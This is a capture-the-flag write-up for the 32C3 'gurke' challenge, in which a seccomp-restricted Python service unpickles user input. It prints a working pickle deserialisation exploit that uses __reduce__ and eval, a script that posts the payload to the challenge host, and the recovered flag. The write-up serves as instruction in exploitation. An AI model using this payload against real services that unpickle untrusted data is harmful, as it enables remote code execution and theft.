Remote code execution in a seccomp protected python service requiring manipulating python internals to retrieve the flag in memory.

Challenge Description

Points

300

Description

Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on
http://136.243.194.43/.

Solution

We are given a vulnerable python script here:

#!/usr/bin/env python
import sys
import os

import socket
import pickle
import base64
import marshal
import types
import inspect
import encodings.string_escape

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
flag = Flag()

from seccomp import *

f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
... snip ...
f.add_rule_exactly(ALLOW, "munmap")
f.load()

data = os.read(0, 4096)
try:
    res = pickle.loads(data)
    print 'res: %r\n' % res
except Exception as e:
    print >>sys.stderr, "exception", repr(e)

os._exit(0)

What this script does is:

  1. Initialise a variable flag over a socket.
  2. Apply seccomp rules to restrict syscalls. This is particularly important to note because we now do not have the option of connecting to the server to grab the flag. Which means we need to get the flag from memory by manipulating any references we can access.
  3. Read data from the user, unpickle the data, and display the object returned.

Now, pickle is vulnerable to deserialisation attacks so we can immediately execute arbitrary python code. My solution uses eval to execute a string:

import pickle

class Exploit(object):
    def __reduce__(self):
        return (eval, ("__import__('sys').stdout.write('hello world')",))

pickle.loads(pickle.dumps(Exploit()))

Running the script:

$ python test.py
hello world

Now, after mimicking the environment and playing around in iPython, I realised that you could get the flag by inspecting the traceback frames for their globals. The final exploit script:

import pickle
import inspect
import requests

class Exploit(object):
    def __reduce__(self):
        return (eval, ("__import__('inspect').currentframe().f_back.f_back.f_back.f_back.f_globals['flag'].flag",))

def main():
    payload = pickle.dumps(Exploit())
    print requests.post("http://136.243.194.43/", data=payload).text

if __name__ == "__main__":
    main()

Running the script:

$ python exploit.py
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0

Leave a Comment